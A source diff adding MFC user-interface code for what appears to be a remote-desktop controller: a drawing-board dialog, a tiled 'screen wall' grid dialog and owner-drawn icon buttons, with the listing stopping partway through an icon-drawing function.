server/2015Remote/CDrawingBoard.h
Normal file
61
server/2015Remote/CDrawingBoard.h
Normal file
@@ -0,0 +1,61 @@
|
||||
#pragma once
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
|
||||
// CDrawingBoard 对话框
|
||||
|
||||
class CDrawingBoard : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CDrawingBoard)
|
||||
|
||||
public:
|
||||
CDrawingBoard(CWnd* pParent = nullptr, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
|
||||
virtual ~CDrawingBoard();
|
||||
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DRAWING_BOARD };
|
||||
#endif
|
||||
|
||||
VOID OnReceiveComplete();
|
||||
|
||||
afx_msg void OnPaint();
|
||||
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg void OnWindowPosChanged(WINDOWPOS* lpwndpos);
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
|
||||
void OnClose();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
BOOL PreTranslateMessage(MSG* pMsg);
|
||||
|
||||
void SendTextsToRemote(const CPoint& pt, const CString& inputText);
|
||||
|
||||
private:
|
||||
bool m_bTopMost; // 置顶
|
||||
bool m_bTransport; // 半透明
|
||||
bool m_bMoving; // 位置跟随
|
||||
bool m_bSizing; // 大小跟随
|
||||
bool m_bDrawing; // 是否正在绘图
|
||||
std::vector<CPoint> m_currentPath; // 当前路径点
|
||||
std::vector<std::vector<CPoint>> m_paths; // 所有路径
|
||||
CPoint m_RightClickPos; // 右键点击位置
|
||||
CEdit* m_pInputEdit = nullptr; // 类成员变量
|
||||
std::vector<std::pair<CPoint, CString>> m_Texts;
|
||||
CFont m_font; // 添加字体成员
|
||||
CPen m_pen; // 画笔
|
||||
public:
|
||||
afx_msg void OnDrawingTopmost();
|
||||
afx_msg void OnDrawingTransport();
|
||||
afx_msg void OnDrawingMove();
|
||||
afx_msg void OnDrawingSize();
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnDrawingClear();
|
||||
afx_msg void OnDrawingText();
|
||||
};
|
||||
223
server/2015Remote/CGridDialog.cpp
Normal file
223
server/2015Remote/CGridDialog.cpp
Normal file
@@ -0,0 +1,223 @@
|
||||
#include "stdafx.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "CGridDialog.h"
|
||||
#include "Resource.h"
|
||||
|
||||
BEGIN_MESSAGE_MAP(CGridDialog, CDialog)
|
||||
ON_WM_SIZE()
|
||||
ON_WM_LBUTTONDBLCLK()
|
||||
ON_MESSAGE(WM_CHILD_CLOSED, &CGridDialog::OnChildClosed)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CGridDialog::CGridDialog() : CDialogLang()
|
||||
{
|
||||
}
|
||||
|
||||
BOOL CGridDialog::OnInitDialog()
|
||||
{
|
||||
m_hIcon = ::LoadIconA(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
__super::OnInitDialog();
|
||||
|
||||
// 设置对话框标题(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("屏幕墙"));
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CGridDialog::SetGrid(int rows, int cols)
|
||||
{
|
||||
m_rows = rows;
|
||||
m_cols = cols;
|
||||
m_max = rows * cols;
|
||||
LayoutChildren();
|
||||
}
|
||||
|
||||
BOOL CGridDialog::AddChild(CDialog* pDlg)
|
||||
{
|
||||
if (!pDlg || !::IsWindow(pDlg->GetSafeHwnd()) || m_children.size() >= m_max)
|
||||
return FALSE;
|
||||
|
||||
pDlg->SetParent(this);
|
||||
pDlg->ShowWindow(SW_SHOW);
|
||||
|
||||
// 去掉标题栏和调整大小
|
||||
LONG style = ::GetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE);
|
||||
style &= ~(WS_CAPTION | WS_THICKFRAME | WS_SIZEBOX | WS_BORDER);
|
||||
::SetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE, style);
|
||||
::SetWindowPos(pDlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0, SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
|
||||
m_children.push_back(pDlg);
|
||||
LayoutChildren();
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CGridDialog::RemoveChild(CDialog* pDlg)
|
||||
{
|
||||
auto it = std::find(m_children.begin(), m_children.end(), pDlg);
|
||||
if (it != m_children.end()) {
|
||||
(*it)->ShowWindow(SW_HIDE);
|
||||
(*it)->SetParent(nullptr);
|
||||
m_children.erase(it);
|
||||
|
||||
// 删除 m_origState 中对应条目
|
||||
auto itState = m_origState.find(pDlg);
|
||||
if (itState != m_origState.end())
|
||||
m_origState.erase(itState);
|
||||
|
||||
// 如果关闭的子窗口是当前最大化窗口,重置 m_pMaxChild
|
||||
if (m_pMaxChild == pDlg)
|
||||
m_pMaxChild = nullptr;
|
||||
|
||||
LayoutChildren();
|
||||
}
|
||||
}
|
||||
|
||||
LRESULT CGridDialog::OnChildClosed(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CDialog* pDlg = (CDialog*)wParam;
|
||||
RemoveChild(pDlg);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CGridDialog::LayoutChildren()
|
||||
{
|
||||
if (m_children.size() == 0) {
|
||||
// 恢复父窗口标题栏
|
||||
if (m_parentStyle != 0) {
|
||||
::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle);
|
||||
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
|
||||
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
m_parentStyle = 0;
|
||||
}
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
if (m_rows <= 0 || m_cols <= 0 || m_children.empty() || m_pMaxChild != nullptr)
|
||||
return;
|
||||
|
||||
CRect rcClient;
|
||||
GetClientRect(&rcClient);
|
||||
|
||||
int w = rcClient.Width() / m_cols;
|
||||
int h = rcClient.Height() / m_rows;
|
||||
|
||||
for (size_t i = 0; i < m_children.size(); ++i) {
|
||||
int r = (int)i / m_cols;
|
||||
int c = (int)i % m_cols;
|
||||
|
||||
if (r >= m_rows)
|
||||
break; // 超过网格范围
|
||||
|
||||
int x = c * w;
|
||||
int y = r * h;
|
||||
|
||||
m_children[i]->MoveWindow(x, y, w, h, TRUE);
|
||||
m_children[i]->ShowWindow(SW_SHOW);
|
||||
}
|
||||
}
|
||||
|
||||
void CGridDialog::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
__super::OnSize(nType, cx, cy);
|
||||
|
||||
if (m_pMaxChild == nullptr) {
|
||||
LayoutChildren();
|
||||
} else {
|
||||
// 最大化状态下,保持铺满父对话框
|
||||
CRect rcClient;
|
||||
GetClientRect(&rcClient);
|
||||
m_pMaxChild->MoveWindow(rcClient, TRUE);
|
||||
}
|
||||
}
|
||||
|
||||
void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point)
|
||||
{
|
||||
// 如果当前有最大化的子窗口,双击任何地方都恢复
|
||||
if (m_pMaxChild != nullptr) {
|
||||
// 恢复子窗口样式和位置
|
||||
for (auto& kv : m_origState) {
|
||||
CDialog* dlg = kv.first;
|
||||
const ChildState& state = kv.second;
|
||||
|
||||
::SetWindowLong(dlg->GetSafeHwnd(), GWL_STYLE, state.style);
|
||||
::SetWindowPos(dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
|
||||
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
|
||||
dlg->MoveWindow(state.rect, TRUE);
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
}
|
||||
|
||||
// 恢复父窗口标题栏
|
||||
if (m_parentStyle != 0) {
|
||||
::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle);
|
||||
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
|
||||
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
m_parentStyle = 0;
|
||||
}
|
||||
|
||||
// 刷新父窗口
|
||||
m_pMaxChild = nullptr;
|
||||
m_origState.clear();
|
||||
LayoutChildren();
|
||||
return; // 已处理,返回
|
||||
}
|
||||
|
||||
// 没有最大化子窗口,则按原逻辑找到点击的子窗口进行最大化
|
||||
for (auto dlg : m_children) {
|
||||
CRect rc;
|
||||
dlg->GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
|
||||
if (rc.PtInRect(point)) {
|
||||
// 保存所有子窗口原始状态
|
||||
m_origState.clear();
|
||||
for (auto d : m_children) {
|
||||
ChildState state;
|
||||
d->GetWindowRect(&state.rect);
|
||||
ScreenToClient(&state.rect);
|
||||
state.style = ::GetWindowLong(d->GetSafeHwnd(), GWL_STYLE);
|
||||
m_origState[d] = state;
|
||||
}
|
||||
|
||||
// 最大化点击的子窗口
|
||||
LONG style = m_origState[dlg].style;
|
||||
style |= (WS_CAPTION | WS_THICKFRAME | WS_SYSMENU | WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
|
||||
::SetWindowLong(dlg->GetSafeHwnd(), GWL_STYLE, style);
|
||||
::SetWindowPos(dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
|
||||
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
|
||||
// 隐藏父窗口标题栏
|
||||
if (m_parentStyle == 0)
|
||||
m_parentStyle = ::GetWindowLong(m_hWnd, GWL_STYLE);
|
||||
LONG parentStyle = m_parentStyle & ~(WS_CAPTION | WS_THICKFRAME);
|
||||
::SetWindowLong(m_hWnd, GWL_STYLE, parentStyle);
|
||||
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
|
||||
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
|
||||
// 全屏显示子窗口
|
||||
CRect rcClient;
|
||||
GetClientRect(&rcClient);
|
||||
dlg->MoveWindow(rcClient, TRUE);
|
||||
m_pMaxChild = dlg;
|
||||
|
||||
// 隐藏其他子窗口
|
||||
for (auto d : m_children)
|
||||
if (d != dlg) d->ShowWindow(SW_HIDE);
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
__super::OnLButtonDblClk(nFlags, point);
|
||||
}
|
||||
|
||||
BOOL CGridDialog::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) {
|
||||
return TRUE;// 屏蔽Enter和ESC关闭对话
|
||||
}
|
||||
return __super::PreTranslateMessage(pMsg);
|
||||
}
|
||||
48
server/2015Remote/CGridDialog.h
Normal file
48
server/2015Remote/CGridDialog.h
Normal file
@@ -0,0 +1,48 @@
|
||||
#pragma once
|
||||
#include <vector>
|
||||
#include <map>
|
||||
#include <afxwin.h>
|
||||
#include "LangManager.h"
|
||||
|
||||
#define WM_CHILD_CLOSED (WM_USER + 100)
|
||||
|
||||
class CGridDialog : public CDialogLang
|
||||
{
|
||||
public:
|
||||
CGridDialog();
|
||||
|
||||
BOOL AddChild(CDialog* pDlg); // 动态添加子对话框
|
||||
void RemoveChild(CDialog* pDlg); // 动态移除子对话框
|
||||
void SetGrid(int rows, int cols); // 设置行列数
|
||||
void LayoutChildren(); // 布局
|
||||
BOOL HasSlot() const
|
||||
{
|
||||
return m_children.size() < m_max;
|
||||
}
|
||||
|
||||
protected:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnLButtonDblClk(UINT nFlags, CPoint point);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg LRESULT OnChildClosed(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
HICON m_hIcon;
|
||||
int m_rows = 0;
|
||||
int m_cols = 0;
|
||||
int m_max = 0;
|
||||
std::vector<CDialog*> m_children;
|
||||
|
||||
// 最大化相关
|
||||
CDialog* m_pMaxChild = nullptr; // 当前最大化的子对话框
|
||||
LONG m_parentStyle = 0; // 父窗口原始样式
|
||||
|
||||
struct ChildState {
|
||||
CRect rect; // 原始位置
|
||||
LONG style; // 原始窗口样式
|
||||
};
|
||||
std::map<CDialog*, ChildState> m_origState;
|
||||
};
|
||||
618
server/2015Remote/CIconButton.cpp
Normal file
618
server/2015Remote/CIconButton.cpp
Normal file
@@ -0,0 +1,618 @@
|
||||
#include "stdafx.h"
|
||||
#include "CIconButton.h"
|
||||
|
||||
IMPLEMENT_DYNAMIC(CIconButton, CButton)
|
||||
|
||||
BEGIN_MESSAGE_MAP(CIconButton, CButton)
|
||||
ON_WM_MOUSEMOVE()
|
||||
ON_WM_MOUSELEAVE()
|
||||
ON_WM_ERASEBKGND()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
// Colors
|
||||
static const COLORREF CLR_NORMAL = RGB(50, 50, 50);
|
||||
static const COLORREF CLR_HOVER = RGB(70, 70, 70);
|
||||
static const COLORREF CLR_PRESSED = RGB(90, 90, 90);
|
||||
static const COLORREF CLR_CLOSE_HOVER = RGB(196, 43, 28);
|
||||
static const COLORREF CLR_ICON = RGB(255, 255, 255);
|
||||
|
||||
CIconButton::CIconButton()
|
||||
: m_fnDrawIcon(nullptr)
|
||||
, m_bHover(false)
|
||||
, m_bIsCloseButton(false)
|
||||
, m_bTracking(false)
|
||||
{
|
||||
}
|
||||
|
||||
CIconButton::~CIconButton()
|
||||
{
|
||||
}
|
||||
|
||||
void CIconButton::PreSubclassWindow()
|
||||
{
|
||||
// Ensure BS_OWNERDRAW is set
|
||||
ModifyStyle(0, BS_OWNERDRAW);
|
||||
CButton::PreSubclassWindow();
|
||||
}
|
||||
|
||||
void CIconButton::DrawItem(LPDRAWITEMSTRUCT lpDIS)
|
||||
{
|
||||
CDC* pDC = CDC::FromHandle(lpDIS->hDC);
|
||||
CRect rc(lpDIS->rcItem);
|
||||
bool bPressed = (lpDIS->itemState & ODS_SELECTED) != 0;
|
||||
|
||||
// Pick background color
|
||||
COLORREF clrBg = CLR_NORMAL;
|
||||
if (bPressed) {
|
||||
clrBg = CLR_PRESSED;
|
||||
} else if (m_bHover) {
|
||||
clrBg = m_bIsCloseButton ? CLR_CLOSE_HOVER : CLR_HOVER;
|
||||
}
|
||||
|
||||
// Draw rounded-rect background
|
||||
CBrush brush(clrBg);
|
||||
CPen pen(PS_SOLID, 1, clrBg);
|
||||
CPen* pOldPen = pDC->SelectObject(&pen);
|
||||
CBrush* pOldBrush = pDC->SelectObject(&brush);
|
||||
pDC->RoundRect(rc, CPoint(4, 4));
|
||||
pDC->SelectObject(pOldBrush);
|
||||
pDC->SelectObject(pOldPen);
|
||||
|
||||
// Draw icon in a centered 16x16 area
|
||||
if (m_fnDrawIcon) {
|
||||
int iconSize = 16;
|
||||
CRect rcIcon;
|
||||
rcIcon.left = rc.left + (rc.Width() - iconSize) / 2;
|
||||
rcIcon.top = rc.top + (rc.Height() - iconSize) / 2;
|
||||
rcIcon.right = rcIcon.left + iconSize;
|
||||
rcIcon.bottom = rcIcon.top + iconSize;
|
||||
m_fnDrawIcon(pDC, rcIcon);
|
||||
}
|
||||
}
|
||||
|
||||
void CIconButton::OnMouseMove(UINT nFlags, CPoint point)
|
||||
{
|
||||
if (!m_bTracking) {
|
||||
TRACKMOUSEEVENT tme = {};
|
||||
tme.cbSize = sizeof(tme);
|
||||
tme.dwFlags = TME_LEAVE;
|
||||
tme.hwndTrack = m_hWnd;
|
||||
TrackMouseEvent(&tme);
|
||||
m_bTracking = true;
|
||||
}
|
||||
if (!m_bHover) {
|
||||
m_bHover = true;
|
||||
Invalidate(FALSE);
|
||||
}
|
||||
CButton::OnMouseMove(nFlags, point);
|
||||
}
|
||||
|
||||
void CIconButton::OnMouseLeave()
|
||||
{
|
||||
m_bHover = false;
|
||||
m_bTracking = false;
|
||||
Invalidate(FALSE);
|
||||
CButton::OnMouseLeave();
|
||||
}
|
||||
|
||||
BOOL CIconButton::OnEraseBkgnd(CDC* pDC)
|
||||
{
|
||||
return TRUE; // prevent flicker
|
||||
}
|
||||
|
||||
// ====================================================================
|
||||
// Static icon drawing functions
|
||||
// All draw white shapes within the given 16x16 CRect.
|
||||
// ====================================================================
|
||||
|
||||
static CPen* SelectWhitePen(CDC* pDC, CPen& pen, int width = 2)
|
||||
{
|
||||
pen.CreatePen(PS_SOLID, width, CLR_ICON);
|
||||
return pDC->SelectObject(&pen);
|
||||
}
|
||||
|
||||
// Exit Fullscreen: 4 inward-pointing corner arrows
|
||||
void CIconButton::DrawIconExitFullscreen(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
int m = 3; // margin from edge
|
||||
|
||||
// Top-left corner L-shape (pointing inward)
|
||||
pDC->MoveTo(rc.left + m, rc.top + m + 5);
|
||||
pDC->LineTo(rc.left + m, rc.top + m);
|
||||
pDC->LineTo(rc.left + m + 5, rc.top + m);
|
||||
|
||||
// Top-right corner
|
||||
pDC->MoveTo(rc.right - m - 5, rc.top + m);
|
||||
pDC->LineTo(rc.right - m, rc.top + m);
|
||||
pDC->LineTo(rc.right - m, rc.top + m + 5);
|
||||
|
||||
// Bottom-left corner
|
||||
pDC->MoveTo(rc.left + m, rc.bottom - m - 5);
|
||||
pDC->LineTo(rc.left + m, rc.bottom - m);
|
||||
pDC->LineTo(rc.left + m + 5, rc.bottom - m);
|
||||
|
||||
// Bottom-right corner
|
||||
pDC->MoveTo(rc.right - m - 5, rc.bottom - m);
|
||||
pDC->LineTo(rc.right - m, rc.bottom - m);
|
||||
pDC->LineTo(rc.right - m, rc.bottom - m - 5);
|
||||
|
||||
// Inner square
|
||||
int inset = 5;
|
||||
CRect inner(rc.left + inset, rc.top + inset, rc.right - inset, rc.bottom - inset);
|
||||
pDC->SelectStockObject(NULL_BRUSH);
|
||||
pDC->Rectangle(inner);
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Play: filled right-pointing triangle
|
||||
void CIconButton::DrawIconPlay(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CBrush brush(CLR_ICON);
|
||||
CBrush* pOldBrush = pDC->SelectObject(&brush);
|
||||
CPen pen(PS_SOLID, 1, CLR_ICON);
|
||||
CPen* pOldPen = pDC->SelectObject(&pen);
|
||||
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = rc.CenterPoint().y;
|
||||
POINT pts[3] = {
|
||||
{ rc.left + 3, rc.top + 2 },
|
||||
{ rc.right - 2, cy },
|
||||
{ rc.left + 3, rc.bottom - 2 }
|
||||
};
|
||||
pDC->Polygon(pts, 3);
|
||||
|
||||
pDC->SelectObject(pOldBrush);
|
||||
pDC->SelectObject(pOldPen);
|
||||
}
|
||||
|
||||
// Pause: two vertical bars
|
||||
void CIconButton::DrawIconPause(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CBrush brush(CLR_ICON);
|
||||
int barW = 3;
|
||||
int gap = 3;
|
||||
int totalW = barW * 2 + gap;
|
||||
int x = rc.left + (rc.Width() - totalW) / 2;
|
||||
int y1 = rc.top + 2;
|
||||
int y2 = rc.bottom - 2;
|
||||
|
||||
pDC->FillSolidRect(x, y1, barW, y2 - y1, CLR_ICON);
|
||||
pDC->FillSolidRect(x + barW + gap, y1, barW, y2 - y1, CLR_ICON);
|
||||
}
|
||||
|
||||
// Lock: closed padlock (U-shackle + body)
|
||||
void CIconButton::DrawIconLock(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
|
||||
int cx = rc.CenterPoint().x;
|
||||
// Shackle (arc)
|
||||
pDC->Arc(cx - 4, rc.top + 1, cx + 4, rc.top + 9, cx + 4, rc.top + 5, cx - 4, rc.top + 5);
|
||||
|
||||
// Body rectangle
|
||||
CBrush brush(CLR_ICON);
|
||||
CBrush* pOldBrush = pDC->SelectObject(&brush);
|
||||
pDC->Rectangle(cx - 5, rc.top + 7, cx + 5, rc.bottom - 1);
|
||||
pDC->SelectObject(pOldBrush);
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Unlock: open padlock
|
||||
void CIconButton::DrawIconUnlock(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
|
||||
int cx = rc.CenterPoint().x;
|
||||
// Shackle (open - shifted up and right)
|
||||
pDC->Arc(cx - 4, rc.top - 1, cx + 4, rc.top + 7, cx + 4, rc.top + 3, cx - 4, rc.top + 3);
|
||||
|
||||
// Body rectangle
|
||||
CBrush brush(CLR_ICON);
|
||||
CBrush* pOldBrush = pDC->SelectObject(&brush);
|
||||
pDC->Rectangle(cx - 5, rc.top + 7, cx + 5, rc.bottom - 1);
|
||||
pDC->SelectObject(pOldBrush);
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Arrow Down: chevron pointing down
|
||||
void CIconButton::DrawIconArrowDown(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = rc.CenterPoint().y;
|
||||
pDC->MoveTo(rc.left + 3, cy - 3);
|
||||
pDC->LineTo(cx, cy + 3);
|
||||
pDC->LineTo(rc.right - 3, cy - 3);
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Arrow Up: chevron pointing up
|
||||
void CIconButton::DrawIconArrowUp(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = rc.CenterPoint().y;
|
||||
pDC->MoveTo(rc.left + 3, cy + 3);
|
||||
pDC->LineTo(cx, cy - 3);
|
||||
pDC->LineTo(rc.right - 3, cy + 3);
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Arrow Left: chevron pointing left
|
||||
void CIconButton::DrawIconArrowLeft(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = rc.CenterPoint().y;
|
||||
pDC->MoveTo(cx + 3, rc.top + 3);
|
||||
pDC->LineTo(cx - 3, cy);
|
||||
pDC->LineTo(cx + 3, rc.bottom - 3);
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Arrow Right: chevron pointing right
|
||||
void CIconButton::DrawIconArrowRight(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = rc.CenterPoint().y;
|
||||
pDC->MoveTo(cx - 3, rc.top + 3);
|
||||
pDC->LineTo(cx + 3, cy);
|
||||
pDC->LineTo(cx - 3, rc.bottom - 3);
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Opacity Full: filled circle
|
||||
void CIconButton::DrawIconOpacityFull(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CBrush brush(CLR_ICON);
|
||||
CPen pen(PS_SOLID, 1, CLR_ICON);
|
||||
CPen* pOldPen = pDC->SelectObject(&pen);
|
||||
CBrush* pOldBrush = pDC->SelectObject(&brush);
|
||||
int inset = 3;
|
||||
pDC->Ellipse(rc.left + inset, rc.top + inset, rc.right - inset, rc.bottom - inset);
|
||||
pDC->SelectObject(pOldBrush);
|
||||
pDC->SelectObject(pOldPen);
|
||||
}
|
||||
|
||||
// Opacity Medium: circle outline + center dot
|
||||
void CIconButton::DrawIconOpacityMedium(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
pDC->SelectStockObject(NULL_BRUSH);
|
||||
int inset = 3;
|
||||
pDC->Ellipse(rc.left + inset, rc.top + inset, rc.right - inset, rc.bottom - inset);
|
||||
|
||||
// Center dot
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = rc.CenterPoint().y;
|
||||
CBrush dotBrush(CLR_ICON);
|
||||
CRect dotRc(cx - 2, cy - 2, cx + 2, cy + 2);
|
||||
pDC->FillSolidRect(dotRc, CLR_ICON);
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Opacity Low: circle outline only
|
||||
void CIconButton::DrawIconOpacityLow(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
pDC->SelectStockObject(NULL_BRUSH);
|
||||
int inset = 3;
|
||||
pDC->Ellipse(rc.left + inset, rc.top + inset, rc.right - inset, rc.bottom - inset);
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Screenshot: camera outline
|
||||
void CIconButton::DrawIconScreenshot(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
pDC->SelectStockObject(NULL_BRUSH);
|
||||
|
||||
// Camera body
|
||||
pDC->RoundRect(rc.left + 1, rc.top + 4, rc.right - 1, rc.bottom - 1, 3, 3);
|
||||
|
||||
// Lens (circle)
|
||||
int cx = rc.CenterPoint().x;
|
||||
int cy = (rc.top + 4 + rc.bottom - 1) / 2;
|
||||
pDC->Ellipse(cx - 3, cy - 3, cx + 3, cy + 3);
|
||||
|
||||
// Flash bump on top
|
||||
pDC->MoveTo(cx - 2, rc.top + 4);
|
||||
pDC->LineTo(cx - 4, rc.top + 1);
|
||||
pDC->LineTo(cx + 4, rc.top + 1);
|
||||
pDC->LineTo(cx + 2, rc.top + 4);
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Switch Screen: two overlapping rectangles with arrow
|
||||
void CIconButton::DrawIconSwitchScreen(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
pDC->SelectStockObject(NULL_BRUSH);
|
||||
|
||||
// Back rectangle (offset top-left)
|
||||
pDC->Rectangle(rc.left + 1, rc.top + 1, rc.right - 4, rc.bottom - 4);
|
||||
// Front rectangle (offset bottom-right)
|
||||
pDC->Rectangle(rc.left + 4, rc.top + 4, rc.right - 1, rc.bottom - 1);
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Block Input: mouse with X overlay
|
||||
void CIconButton::DrawIconBlockInput(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
|
||||
// Mouse body outline
|
||||
int cx = rc.CenterPoint().x;
|
||||
pDC->SelectStockObject(NULL_BRUSH);
|
||||
pDC->RoundRect(cx - 4, rc.top + 1, cx + 4, rc.bottom - 1, 4, 4);
|
||||
// Mouse wheel line
|
||||
pDC->MoveTo(cx, rc.top + 4);
|
||||
pDC->LineTo(cx, rc.top + 7);
|
||||
|
||||
// X overlay (block)
|
||||
pDC->MoveTo(rc.left + 2, rc.top + 2);
|
||||
pDC->LineTo(rc.right - 2, rc.bottom - 2);
|
||||
pDC->MoveTo(rc.right - 2, rc.top + 2);
|
||||
pDC->LineTo(rc.left + 2, rc.bottom - 2);
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Unblock Input: mouse without X
|
||||
void CIconButton::DrawIconUnblockInput(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
|
||||
// Mouse body outline
|
||||
int cx = rc.CenterPoint().x;
|
||||
pDC->SelectStockObject(NULL_BRUSH);
|
||||
pDC->RoundRect(cx - 4, rc.top + 1, cx + 4, rc.bottom - 1, 4, 4);
|
||||
// Mouse wheel line
|
||||
pDC->MoveTo(cx, rc.top + 4);
|
||||
pDC->LineTo(cx, rc.top + 7);
|
||||
|
||||
pDC->SelectObject(pOld);
|
||||
}
|
||||
|
||||
// Quality: gear/cog shape (simplified as sliders icon)
|
||||
void CIconButton::DrawIconQuality(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
CPen pen;
|
||||
CPen* pOld = SelectWhitePen(pDC, pen, 2);
|
||||
|
||||
// Three horizontal slider lines with knobs at different positions
|
||||
int x1 = rc.left + 2, x2 = rc.right - 2;
|
||||
int y1 = rc.top + 3, y2 = rc.CenterPoint().y, y3 = rc.bottom - 3;
|
||||
|
||||
// Line 1 with knob left
|
||||
pDC->MoveTo(x1, y1); pDC->LineTo(x2, y1);
|
||||
pDC->FillSolidRect(x1 + 2, y1 - 2, 4, 4, CLR_ICON);
|
||||
|
||||
// Line 2 with knob right
|
||||
